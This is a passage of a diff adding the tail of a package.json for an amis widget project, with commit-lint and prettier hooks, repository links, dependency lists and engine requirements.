|
+
"commit-msg": "commitlint -E HUSKY_GIT_PARAMS"
|
|
32
|
+
}
|
|
33
|
+
},
|
|
34
|
+
"lint-staged": {
|
|
35
|
+
"src/**/**/*.{js,jsx,ts,tsx,vue,scss,json}": [
|
|
36
|
+
"prettier --write"
|
|
37
|
+
]
|
|
38
|
+
},
|
|
39
|
+
"repository": {
|
|
40
|
+
"type": "git",
|
|
41
|
+
"url": "https://git@github.com:aisuda/amis-widget.git"
|
|
42
|
+
},
|
|
43
|
+
"bugs": {
|
|
44
|
+
"url": "https://github.com/aisuda/amis-widget/issues"
|
|
45
|
+
},
|
|
46
|
+
"dependencies": {
|
|
47
|
+
"axios": "^0.24.0",
|
|
48
|
+
"jquery": "^3.5.1",
|
|
49
|
+
"vue": "^2.6.14"
|
|
50
|
+
},
|
|
51
|
+
"devDependencies": {
|
|
52
|
+
"react": "^16.8.6",
|
|
53
|
+
"react-dom": "^16.8.6",
|
|
54
|
+
"@commitlint/cli": "^8.3.5",
|
|
55
|
+
"@commitlint/config-conventional": "^9.1.1",
|
|
56
|
+
"@types/jquery": "^3.5.14",
|
|
57
|
+
"@types/react": "^16",
|
|
58
|
+
"@types/react-dom": "^16.9.0",
|
|
59
|
+
"amis-widget-cli": "^3.1.10",
|
|
60
|
+
"husky": "^4.2.5",
|
|
61
|
+
"lint-staged": "^10.2.9",
|
|
62
|
+
"monaco-editor-webpack-plugin": "6.0.0",
|
|
63
|
+
"prettier": "^2.0.5"
|
|
64
|
+
},
|
|
65
|
+
"engines": {
|
|
66
|
+
"node": ">= 10.13.0",
|
|
67
|
+
"npm": ">= 6.4.1",
|
|
68
|
+
"amis-core": ">= 5.2.5",
|
|
69
|
+
"amis-editor-core": ">= 5.2.5"
|
|
70
|
+
}
|
|
6
71
|
}
|